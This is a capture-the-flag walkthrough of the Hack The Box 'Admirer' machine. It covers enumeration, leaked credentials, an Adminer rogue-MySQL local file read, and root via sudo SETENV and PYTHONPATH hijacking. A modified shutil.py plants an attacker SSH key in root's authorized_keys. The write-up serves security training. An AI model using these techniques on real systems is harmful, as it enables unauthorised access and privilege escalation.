Admirer
Contents
Port scan
u505@naos:~/HTB/Machines/Admirer$ sudo masscan -e tun0 -p1-65535,U:1-65535 --rate 1000 10.10.10.187 [sudo] password for u505:
Starting masscan 1.0.5 at 2021-01-03 14:02:43 GMT -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth Initiating SYN Stealth Scan Scanning 1 hosts [131070 ports/host] Discovered open port 80/tcp on 10.10.10.187 Discovered open port 21/tcp on 10.10.10.187 Discovered open port 22/tcp on 10.10.10.187
u505@naos:~/HTB/Machines/Admirer$ nmap -sC -sV admirer Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-03 09:02 EST Nmap scan report for admirer (10.10.10.187) Host is up (0.038s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0) | ssh-hostkey: | 2048 4a:71:e9:21:63:69:9d:cb:dd:84:02:1a:23:97:e1:b9 (RSA) | 256 c5:95:b6:21:4d:46:a4:25:55:7a:87:3e:19:a8:e7:02 (ECDSA) |_ 256 d0:2d:dd:d0:5c:42:f8:7b:31:5a:be:57:c4:a9:a7:56 (ED25519) 80/tcp open http Apache httpd 2.4.25 ((Debian)) | http-robots.txt: 1 disallowed entry |_/admin-dir |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Admirer Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 9.18 seconds
Web enumeration
Dirsearch
Several searches does not provide any useful information.
u505@naos:~/HTB/Machines/Admirer$ python3 /opt/utils/dirsearch/dirsearch.py -w /usr/share/wordlists/dirb/common.txt -e "txt,html,php,js" -f -t 100 -u http://admirer
_|. _ _ _ _ _ _|_ v0.4.1 (_||| _) (/_(_|| (_| )
Extensions: txt, html, php, js | HTTP method: GET | Threads: 100 | Wordlist size: 27664
Error Log: /opt/utils/dirsearch/logs/errors-21-01-03_09-12-25.log
Target: http://admirer/
Output File: /opt/utils/dirsearch/reports/admirer/_21-01-03_09-12-25.txt
[09:12:25] Starting: [09:12:30] 403 - 272B - /.hta/ [09:12:30] 403 - 272B - /.htaccess.php [09:12:30] 403 - 272B - /.hta.php [09:12:30] 403 - 272B - /.htpasswd.html [09:12:31] 403 - 272B - /.htpasswd.js [09:12:31] 403 - 272B - /.hta.js [09:12:31] 403 - 272B - /.hta.txt [09:12:31] 403 - 272B - /.htpasswd.txt [09:12:31] 403 - 272B - /.hta.html [09:12:31] 403 - 272B - /.htpasswd.php [09:12:31] 403 - 272B - /.htaccess.html [09:12:31] 403 - 272B - /.htaccess.js [09:12:37] 403 - 272B - /assets/ [09:12:37] 301 - 303B - /assets -> http://admirer/assets/ [09:13:02] 403 - 272B - /icons/ [09:13:02] 301 - 303B - /images -> http://admirer/images/ [09:13:02] 403 - 272B - /images/ [09:13:02] 200 - 6KB - /index.php [09:13:02] 200 - 6KB - /index.php/ [09:13:20] 200 - 138B - /robots.txt [09:13:22] 403 - 272B - /server-status [09:13:22] 403 - 272B - /server-status/
Task Completed
Images
Images doesn't seem to contain any embedded data.
u505@naos:~/HTB/Machines/Admirer/images$ cat links http://admirer/images/fulls/arch01.jpg http://admirer/images/fulls/arch02.jpg http://admirer/images/fulls/art01.jpg http://admirer/images/fulls/art02.jpg http://admirer/images/fulls/eng01.jpg http://admirer/images/fulls/eng02.jpg http://admirer/images/fulls/mind01.jpg http://admirer/images/fulls/mind02.jpg http://admirer/images/fulls/mus01.jpg http://admirer/images/fulls/mus02.jpg http://admirer/images/fulls/nat01.jpg http://admirer/images/fulls/nat02.jpg u505@naos:~/HTB/Machines/Admirer/images$ cat links | while read url > do > wget $url > done
Directory admin-dir
u505@naos:~/HTB/Machines/Admirer$ curl http://admirer/robots.txt User-agent: *
# This folder contains personal contacts and creds, so no one -not even robots- should see it - waldo Disallow: /admin-dir
The robots.txt provides an username and affirms that password and credentials are contained.
u505@naos:~/HTB/Machines/Admirer$ python3 /opt/utils/dirsearch/dirsearch.py -w /usr/share/wordlists/dirb/big.txt -e "txt" -f -t 1000 -u http://admirer/admin-dir/
_|. _ _ _ _ _ _|_ v0.4.1 (_||| _) (/_(_|| (_| )
Extensions: txt | HTTP method: GET | Threads: 1000 | Wordlist size: 61403
Error Log: /opt/utils/dirsearch/logs/errors-21-01-03_10-12-03.log
Target: http://admirer/admin-dir/
Output File: /opt/utils/dirsearch/reports/admirer/admin-dir_21-01-03_10-12-03.txt
[10:12:03] Starting: [10:12:08] 403 - 272B - /admin-dir/.htpasswd.txt [10:12:41] 200 - 350B - /admin-dir/contacts.txt [10:12:42] 200 - 136B - /admin-dir/credentials.txt
Task Completed
FTP access
u505@naos:~/HTB/Machines/Admirer/images$ curl http://admirer/admin-dir/contacts.txt ########## # admins # ########## # Penny Email: p.wise@admirer.htb
############## # developers # ############## # Rajesh Email: r.nayyar@admirer.htb
# Amy Email: a.bialik@admirer.htb
# Leonard Email: l.galecki@admirer.htb
############# # designers # ############# # Howard Email: h.helberg@admirer.htb
# Bernadette Email: b.rauch@admirer.htb -
u505@naos:~/HTB/Machines/Admirer/images$ curl http://admirer/admin-dir/credentials.txt [Internal mail account] w.cooper@admirer.htb fgJr6q#S\W:$P
[FTP account] ftpuser %n?4Wz}R$tTF7
[Wordpress account] admin w0rdpr3ss01!
There are ftp credentials.
u505@naos:~/HTB/Machines/Admirer/images$ ftp admirer Connected to admirer. 220 (vsFTPd 3.0.3) Name (admirer:u505): ftpuser 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. -rw-r--r-- 1 0 0 3405 Dec 02 2019 dump.sql -rw-r--r-- 1 0 0 5270987 Dec 03 2019 html.tar.gz 226 Directory send OK. ftp> bin 200 Switching to Binary mode. ftp> mget * mget dump.sql? y 200 PORT command successful. Consider using PASV. 150 Opening BINARY mode data connection for dump.sql (3405 bytes). 226 Transfer complete. 3405 bytes received in 0.00 secs (4.5736 MB/s) mget html.tar.gz? y 200 PORT command successful. Consider using PASV. 150 Opening BINARY mode data connection for html.tar.gz (5270987 bytes). 226 Transfer complete. 5270987 bytes received in 1.29 secs (3.9077 MB/s) ftp> quit 221 Goodbye.
Web code analysis
u505@naos:~/HTB/Machines/Admirer$ mkdir website u505@naos:~/HTB/Machines/Admirer$ mv html.tar.gz website/ u505@naos:~/HTB/Machines/Admirer$ cd website/ u505@naos:~/HTB/Machines/Admirer/website$ tar xfz html.tar.gz
u505@naos:~/HTB/Machines/Admirer/website$ ls -ltr total 5176 drwxr-x--- 6 u505 u505 4096 Jun 6 2019 assets -rw-r----- 1 u505 u505 134 Dec 1 2019 robots.txt drwxr-x--- 2 u505 u505 4096 Dec 2 2019 w4ld0s_s3cr3t_d1r drwxr-x--- 2 u505 u505 4096 Dec 2 2019 utility-scripts drwxr-x--- 4 u505 u505 4096 Dec 2 2019 images -rw-r----- 1 u505 u505 4613 Dec 3 2019 index.php -rw-r--r-- 1 u505 u505 5270987 Jan 3 09:50 html.tar.gz
index.php
The index.php provides database credentials, but the non escaped quotation mark involves a syntax error. I assume that these credentials doesn't work.
u505@naos:~/HTB/Machines/Admirer/website$ vi index.php
$servername = "localhost"; $username = "waldo"; $password = "]F7jLHw:*G>UPrTo}~A"d6b"; $dbname = "admirerdb";
utility-scripts folder
u505@naos:~/HTB/Machines/Admirer/website$ cd utility-scripts/ u505@naos:~/HTB/Machines/Admirer/website/utility-scripts$ ls -l total 16 -rw-r----- 1 u505 u505 1795 Dec 2 2019 admin_tasks.php -rw-r----- 1 u505 u505 401 Dec 1 2019 db_admin.php -rw-r----- 1 u505 u505 20 Nov 29 2019 info.php -rw-r----- 1 u505 u505 53 Dec 2 2019 phptest.php
info.php
@naos:~/HTB/Machines/Admirer/website/utility-scripts$ cat info.php <?php phpinfo(); ?>
Provides phpinfo data.
phptest.php
u505@naos:~/HTB/Machines/Admirer/website/utility-scripts$ cat phptest.php <?php echo("Just a test to see if PHP works."); ?>
admin_tasks.php
u505@naos:~/HTB/Machines/Admirer/website/utility-scripts$ cat admin_tasks.php <html> <head> <title>Administrative Tasks</title> </head> <body> <h3>Admin Tasks Web Interface (v0.01 beta)</h3> <?php // Web Interface to the admin_tasks script // if(isset($_REQUEST['task'])) { $task = $_REQUEST['task']; if($task == '1' || $task == '2' || $task == '3' || $task == '4' || $task == '5' || $task == '6' || $task == '7') { /*********************************************************************************** Available options: 1) View system uptime 2) View logged in users 3) View crontab (current user only) 4) Backup passwd file (not working) 5) Backup shadow file (not working) 6) Backup web data (not working) 7) Backup database (not working) <br> NOTE: Options 4-7 are currently NOT working because they need root privileges. I'm leaving them in the valid tasks in case I figure out a way to securely run code as root from a PHP page. ************************************************************************************/ echo str_replace("\n", "<br />", shell_exec("/opt/scripts/admin_tasks.sh $task 2>&1")); } else { echo("Invalid task."); } } ?> <br> <p> <h4>Select task:</p> <form method="POST"> <select name="task"> <option value=1>View system uptime</option> <option value=2>View logged in users</option> <option value=3>View crontab</option> <option value=4 disabled>Backup passwd file</option> <option value=5 disabled>Backup shadow file</option> <option value=6 disabled>Backup web data</option> <option value=7 disabled>Backup database</option> </select> <input type="submit"> </form> </body> </html>
Selecting the first option.
Provides the uptime.
The second the logged users (none).
The third provides us the user (www-data) and no crontab.
Try to force not allowed tasks. But output is no sufficient privileges.
Trying to temper parameter doesn't work (as expected).
db_admin.php
This script provides other DB credentials, and the comment give us an hint.
u505@naos:~/HTB/Machines/Admirer/website/utility-scripts$ cat db_admin.php <?php $servername = "localhost"; $username = "waldo"; $password = "Wh3r3_1s_w4ld0?";
// Create connection $conn = new mysqli($servername, $username, $password);
// Check connection if ($conn->connect_error) { die("Connection failed: " . $conn->connect_error); } echo "Connected successfully";
// TODO: Finish implementing this or find a better open source alternative ?>
This script is not found on the server.
u505@naos:~/HTB/Machines/Admirer/website/utility-scripts$ curl http://admirer/utility-scripts/db_admin.php
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.25 (Debian) Server at admirer Port 80</address>
</body></html>
Dirsearch on folder utility-scripts
Run dirsearch on the folder finds another script.
u505@naos:~/HTB/Machines/Admirer$ python3 /opt/utils/dirsearch/dirsearch.py -w /usr/share/wordlists/dirb/big.txt -e "php" -f -t 1000 -u http://admirer/utility-scripts/
_|. _ _ _ _ _ _|_ v0.4.1 (_||| _) (/_(_|| (_| )
Extensions: php | HTTP method: GET | Threads: 1000 | Wordlist size: 61404
Error Log: /opt/utils/dirsearch/logs/errors-21-01-03_16-01-42.log
Target: http://admirer/utility-scripts/
Output File: /opt/utils/dirsearch/reports/admirer/utility-scripts_21-01-03_16-01-42.txt
[16:01:42] Starting: [16:01:49] 403 - 272B - /utility-scripts/.htaccess.php [16:01:57] 403 - 272B - /utility-scripts/.htpasswd.php [16:01:59] 200 - 4KB - /utility-scripts/adminer.php [16:03:04] 200 - 83KB - /utility-scripts/info.php [16:03:38] 200 - 32B - /utility-scripts/phptest.php
Task Completed
User flag
Adminer vulnerability
None of the found credentials works.
But there are several articles about a vulnerability, that allows the attacker to read local server files connecting an external database.
Create local database
Create a database and a user accessible from everywhere.
u505@naos:~/HTB/Machines/Admirer$ sudo systemctl start mysql [sudo] password for u505:
u505@naos:~/HTB/Machines/Admirer$ mysql -p -u root Enter password: Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 6 Server version: 10.5.8-MariaDB-3 Debian buildd-unstable
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> create database admirer; Query OK, 1 row affected (0.001 sec)
MariaDB [(none)]> create user u505@'%' identified by 'u505'; Query OK, 0 rows affected (0.002 sec)
MariaDB [none]> grant all privileges on *.* to u505@'%'; Query OK, 0 rows affected (0.002 sec)
MariaDB [none]> exit Bye
Connect admirer to our DB
Read local file
Trying to read local file raises an error that the table is missing (expected).
We create the table.
u505@naos:~/HTB/Machines/Admirer$ mysql -u u505 -p admirer Enter password: Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 8 Server version: 10.5.8-MariaDB-3 Debian buildd-unstable
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [admirer]> create table test (filename varchar(255)); Query OK, 0 rows affected (0.012 sec)
After the table creation, it raises a second error.
Php doesn't allow this folder, but it allows the web server folder.
The index.php provides the correct database credentials.
MariaDB [admirer]> select * from test; +---------------------------------------------------------------------------------------------------------------------------------+ | filename | +---------------------------------------------------------------------------------------------------------------------------------+ | <!DOCTYPE HTML> | | <!-- | | Multiverse by HTML5 UP | | html5up.net | @ajlkn | | Free for personal and commercial use under the CCA 3.0 license (html5up.net/license) | | --> | | <html> | | <head> | | <title>Admirer</title> | | <meta charset="utf-8" /> | | <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no" /> | | <link rel="stylesheet" href="assets/css/main.css" /> | | <noscript><link rel="stylesheet" href="assets/css/noscript.css" /></noscript> | | </head> | | <body class="is-preload"> | | | | <!-- Wrapper --> | | <div id="wrapper"> | | | | <!-- Header --> | | <header id="header"> | | <h1><a href="index.html"><strong>Admirer</strong> of skills and visuals</a></h1> | | <nav> | | <ul> | | <li><a href="#footer" class="icon solid fa-info-circle">About</a></li> | | </ul> | | </nav> | | </header> | | | | <!-- Main --> | | <div id="main"> | | <?php | | $servername = "localhost"; | | $username = "waldo"; | | $password = "&<h5b~yK3F#{PaPB&dA}{H>"; | | $dbname = "admirerdb"; | | | | // Create connection | | $conn = new mysqli($servername, $username, $password, $dbname); | | // Check connection | | if ($conn->connect_error) { | | die("Connection failed: " . $conn->connect_error); | | } | | | | $sql = "SELECT * FROM items"; | | $result = $conn->query($sql); | | | | if ($result->num_rows > 0) { | | // output data of each row | | while($row = $result->fetch_assoc()) { | | echo "<article class='thumb'> "; | | echo "<a href='".$row["image_path"]."' class='image'><img src='".$row["thumb_path"]."' alt='' /></a> "; | | echo "<h2>".$row["title"]."</h2> "; | | echo "<p>".$row["text"]."</p> "; | | echo "</article> "; | | } | | } else { | | echo "0 results"; | | } | | $conn->close(); | | ?> | | </div> | | | | <!-- Footer --> | | <footer id="footer" class="panel"> | | <div class="inner split"> | | <div> | | <section> | | <h2>Allow yourself to be amazed</h2> | | <p>Skills are not to be envied, but to feel inspired by.<br> | | Visual arts and music are there to take care of your soul.<br><br> | | Let your senses soak up these wonders...<br><br><br><br> | | </p> | | </section> | | <section> | | <h2>Follow me on ...</h2> | | <ul class="icons"> | | <li><a href="#" class="icon brands fa-twitter"><span class="label">Twitter</span></a></li> | | <li><a href="#" class="icon brands fa-facebook-f"><span class="label">Facebook</span></a></li> | | <li><a href="#" class="icon brands fa-instagram"><span class="label">Instagram</span></a></li> | | <li><a href="#" class="icon brands fa-github"><span class="label">GitHub</span></a></li> | | <li><a href="#" class="icon brands fa-dribbble"><span class="label">Dribbble</span></a></li> | | <li><a href="#" class="icon brands fa-linkedin-in"><span class="label">LinkedIn</span></a></li> | | </ul> | | </section> | | </div> | | <div> | | <section> | | <h2>Get in touch</h2> | | <form method="post" action="#"><!-- Still under development... This does not send anything yet, but it looks nice! --> | | <div class="fields"> | | <div class="field half"> | | <input type="text" name="name" id="name" placeholder="Name" /> | | </div> | | <div class="field half"> | | <input type="text" name="email" id="email" placeholder="Email" /> | | </div> | | <div class="field"> | | <textarea name="message" id="message" rows="4" placeholder="Message"></textarea> | | </div> | | </div> | | <ul class="actions"> | | <li><input type="submit" value="Send" class="primary" /></li> | | <li><input type="reset" value="Reset" /></li> | | </ul> | | </form> | | </section> | | </div> | | </div> | | </footer> | | | | </div> | | | | <!-- Scripts --> | | <script src="assets/js/jquery.min.js"></script> | | <script src="assets/js/jquery.poptrox.min.js"></script> | | <script src="assets/js/browser.min.js"></script> | | <script src="assets/js/breakpoints.min.js"></script> | | <script src="assets/js/util.js"></script> | | <script src="assets/js/main.js"></script> | | | | </body> | | </html> | +---------------------------------------------------------------------------------------------------------------------------------+ 123 rows in set (0.001 sec)
SSH access
The database credentials
u505@naos:~/HTB/Machines/Admirer$ ssh waldo@admirer waldo@admirer's password: Linux admirer 4.9.0-12-amd64 x86_64 GNU/Linux
The programs included with the Devuan GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. You have new mail. Last login: Wed Apr 29 10:56:59 2020 from 10.10.14.3
waldo@admirer:~$ cat user.txt <USER_FLAG>
Escalation
waldo@admirer:~$ sudo -l [sudo] password for waldo: Matching Defaults entries for waldo on admirer: env_reset, env_file=/etc/sudoenv, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, listpw=always
User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh
User waldo can sudo on admin_task.sh script. The SETENV variable is unusual.
waldo@admirer:/opt/scripts$ man sudoers SETENV and NOSETENV
These tags override the value of the setenv option on a per-command basis. Note that if SETENV has been set for a command, the user may disable the env_reset option from the command line via the -E option. Additionally, environment variables set on the command line are not subject to the restrictions imposed by env_check, env_delete, or env_keep. As such, only trusted users should be allowed to set variables in this manner. If the command matched is ALL, the SETENV tag is implied for that command; this default may be overridden by use of the NOSETENV tag.
I tried it, on my machine.
u505@naos:~/HTB/Machines/Admirer$ export test=1 u505@naos:/var/log$ test=1 sudo bash -c 'echo $test'
u505@naos:/var/log$ test=1 sudo -E bash -c 'echo $test' 1
admin_task.sh script
waldo@admirer:~$ ls -l /opt/scripts/admin_tasks.sh
-rwxr-xr-x 1 root admins 2613 Dec 2 2019 /opt/scripts/admin_tasks.sh
I didn't find any easy way to exploit the command.
waldo@admirer:~$ cat /opt/scripts/admin_tasks.sh #!/bin/bash
view_uptime() { /usr/bin/uptime -p }
view_users() { /usr/bin/w }
view_crontab() { /usr/bin/crontab -l }
backup_passwd() { if [ "$EUID" -eq 0 ] then echo "Backing up /etc/passwd to /var/backups/passwd.bak..." /bin/cp /etc/passwd /var/backups/passwd.bak /bin/chown root:root /var/backups/passwd.bak /bin/chmod 600 /var/backups/passwd.bak echo "Done." else echo "Insufficient privileges to perform the selected operation." fi }
backup_shadow() { if [ "$EUID" -eq 0 ] then echo "Backing up /etc/shadow to /var/backups/shadow.bak..." /bin/cp /etc/shadow /var/backups/shadow.bak /bin/chown root:shadow /var/backups/shadow.bak /bin/chmod 600 /var/backups/shadow.bak echo "Done." else echo "Insufficient privileges to perform the selected operation." fi }
backup_web() { if [ "$EUID" -eq 0 ] then echo "Running backup script in the background, it might take a while..." /opt/scripts/backup.py & else echo "Insufficient privileges to perform the selected operation." fi }
backup_db() { if [ "$EUID" -eq 0 ] then echo "Running mysqldump in the background, it may take a while..." #/usr/bin/mysqldump -u root admirerdb > /srv/ftp/dump.sql & /usr/bin/mysqldump -u root admirerdb > /var/backups/dump.sql & else echo "Insufficient privileges to perform the selected operation." fi }
# Non-interactive way, to be used by the web interface if [ $# -eq 1 ] then option=$1 case $option in 1) view_uptime ;; 2) view_users ;; 3) view_crontab ;; 4) backup_passwd ;; 5) backup_shadow ;; 6) backup_web ;; 7) backup_db ;;
*) echo "Unknown option." >&2 esac
exit 0 fi
# Interactive way, to be called from the command line options=("View system uptime" "View logged in users" "View crontab" "Backup passwd file" "Backup shadow file" "Backup web data" "Backup DB" "Quit")
echo echo "[[[ System Administration Menu ]]]" PS3="Choose an option: " COLUMNS=11 select opt in "${options[@]}"; do case $REPLY in 1) view_uptime ; break ;; 2) view_users ; break ;; 3) view_crontab ; break ;; 4) backup_passwd ; break ;; 5) backup_shadow ; break ;; 6) backup_web ; break ;; 7) backup_db ; break ;; 8) echo "Bye!" ; break ;;
*) echo "Unknown option." >&2 esac done
exit 0
Option 6 calls a python script.
Root crontab
waldo@admirer:~$ sudo /opt/scripts/admin_tasks.sh
[[[ System Administration Menu ]]] 1) View system uptime 2) View logged in users 3) View crontab 4) Backup passwd file 5) Backup shadow file 6) Backup web data 7) Backup DB 8) Quit Choose an option: 3 # Edit this file to introduce tasks to be run by cron. # # Each task to run has to be defined through a single line # indicating with different fields when the task will be run # and what command to run for the task # # To define the time you can provide concrete values for # minute (m), hour (h), day of month (dom), month (mon), # and day of week (dow) or use '*' in these fields (for 'any').# # Notice that tasks will be started based on the cron's system # daemon's notion of time and timezones. # # Output of the crontab jobs (including errors) is sent through # email to the user the crontab file belongs to (unless redirected). # # For example, you can run a backup of all your user accounts # at 5 a.m every week with: # 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/ # # For more information see the manual pages of crontab(5) and cron(8) # # m h dom mon dow command */3 * * * * rm -r /tmp/*.* >/dev/null 2>&1 */3 * * * * rm /home/waldo/*.p* >/dev/null 2>&1
Each 3 minutes, p* files are deleted from home folder.
backup.py script
waldo@admirer:/var/backups$ ls -l /opt/scripts/backup.py -rwxr----- 1 root admins 198 Dec 2 2019 /opt/scripts/backup.py
waldo@admirer:~$ cat /opt/scripts/backup.py #!/usr/bin/python3
from shutil import make_archive
src = '/var/www/html/'
# old ftp directory, not used anymore #dst = '/srv/ftp/html'
dst = '/var/backups/html'
make_archive(dst, 'gztar', src)
The file cannot be modified, but we can try to abuse python to execute "our" version of command make_archive.
PYTHONPATH manipulation
From https://docs.python.org/3/using/cmdline.html#environment-variables
PYTHONPATH Augment the default search path for module files. The format is the same as the shell’s PATH: one or more directory pathnames separated by os.pathsep (e.g. colons on Unix or semicolons on Windows). Non-existent directories are silently ignored.
In addition to normal directories, individual PYTHONPATH entries may refer to zipfiles containing pure Python modules (in either source or compiled form). Extension modules cannot be imported from zipfiles.
The default search path is installation dependent, but generally begins with prefix/lib/pythonversion (see PYTHONHOME above). It is always appended to PYTHONPATH.
An additional directory will be inserted in the search path in front of PYTHONPATH as described above under Interface options. The search path can be manipulated from within a Python program as the variable sys.path.
To avoid the deletion of py files, we create our own folder.
waldo@admirer:~$ mkdir u505 waldo@admirer:~/u505$ cat test.py import sys print (sys.path)
We can manipulate the PYTHONPATH variable.
waldo@admirer:~/u505$ python3 test.py
['/home/waldo/u505', '/usr/lib/python35.zip', '/usr/lib/python3.5', '/usr/lib/python3.5/plat-x86_64-linux-gnu', '/usr/lib/python3.5/lib-dynload', '/usr/local/lib/python3.5/dist-packages', '/usr/lib/python3/dist-packages']
waldo@admirer:~/u505$ PYTHONPATH=/tmp python3 test.py
['/home/waldo/u505', '/tmp', '/usr/lib/python35.zip', '/usr/lib/python3.5', '/usr/lib/python3.5/plat-x86_64-linux-gnu', '/usr/lib/python3.5/lib-dynload', '/usr/local/lib/python3.5/dist-packages', '/usr/lib/python3/dist-packages']
Modify shutil.py
First we generate a new ssh key.
u505@naos:~/HTB/Machines/Admirer$ ssh-keygen Generating public/private rsa key pair. Enter file in which to save the key (/home/u505/.ssh/id_rsa): u505_ssh Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in u505_ssh Your public key has been saved in u505_ssh.pub The key fingerprint is: SHA256:TjZDaGZWHj7O3PcS7F5avk2IKWjEKxjoGNrzVH8sTqs u505@naos The key's randomart image is: +---[RSA 3072]----+ | o | | = . | | * = | | . = * o . | |. . . . S . + | |.= + * * o = . | |o + o . O + = = .| | + = + o * o | | . E.o o o..| +----[SHA256]-----+
Search for shutil.py library.
waldo@admirer:~/u505$ find / -name shutil.py 2>/dev/null
/usr/lib/python3.5/shutil.py
/usr/lib/python2.7/shutil.py
And copy it to our local folder.
waldo@admirer:~/u505$ cp /usr/lib/python3.5/shutil.py ./
We edit the make_archive function to add our public key to root .ssh folder.
waldo@admirer:~/u505$ diff shutil.py /usr/lib/python3.5/shutil.py 773,776d772 < < os.system("mkdir /root/.ssh") < os.system("echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCs+SKNsttT7JnVm9YBnPd1KFJxZw0n7xQTjQBRRVH2KI9QpNxv9IwQPNPCz62hi8r9VoGfLOo4Fi7XP2nVJX050hst3g2l92xHyCWQQmhw1mEWHyhBOWD6eYITkO5sFITQEZpvb6TgY0g2yln0Pvxk3ur2J00HFbEO6xFgP3OY7L7aaYdPAeCSrPPxNmEfrNs0fF45yH4xuK8iRWROl/1YNqPDKAV8Ym/Yl/3sQaQ6iI/Q2ynVASe5SxQfXdAuoMXiBViswczINg10fguxE7H208ZXpH+s0q2S2Zh+iDcYJXb/cTQb7n0FoSVjVmKPDbHmtHtmMfbC1y/6ef6nez+LrCde42IunGvj17fu3wIBBFM8upD5THrj/S4jXODXYN3MAjXHXOGIp7Ml0YC3yLooLscx2v9Arik0qpsWJynJwFBx9a4F4coGELQgCP09jSTfVlS5VH0Xg1XSds9h5k2D4cPypX4m8WXLg9aszIPmBm0+alOZHoYmj9kuSzf/mpk= u505@naos' > /root/.ssh/authorized_keys ") < os.system("chmod 600 /root/.ssh/authorized_keys")
Run exploit
waldo@admirer:~/u505$ sudo PYTHONPATH=`pwd` /opt/scripts/admin_tasks.sh 6 Running backup script in the background, it might take a while...
Root flag
Ssh with our ssh key.
u505@naos:~/HTB/Machines/Admirer$ ssh -i u505_ssh root@admirer Linux admirer 4.9.0-12-amd64 x86_64 GNU/Linux
The programs included with the Devuan GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Wed Apr 29 11:07:00 2020 root@admirer:~# whoami root root@admirer:~# cat root.txt <ROOT_FLAG>
References
- Serious Vulnerability Discovered in Adminer database Administration Tool
- Adminer Script Results to Pwning Server?, Private Bug Bounty Program
- open_basedir restriction in effect. File(/) is not within the allowed path(s):
- https://docs.python.org/3/using/cmdline.html#environment-variables
- https://docs.python.org/3/library/sys.html#sys.path
Daniel Simao 10:03, 4 January 2021 (EST)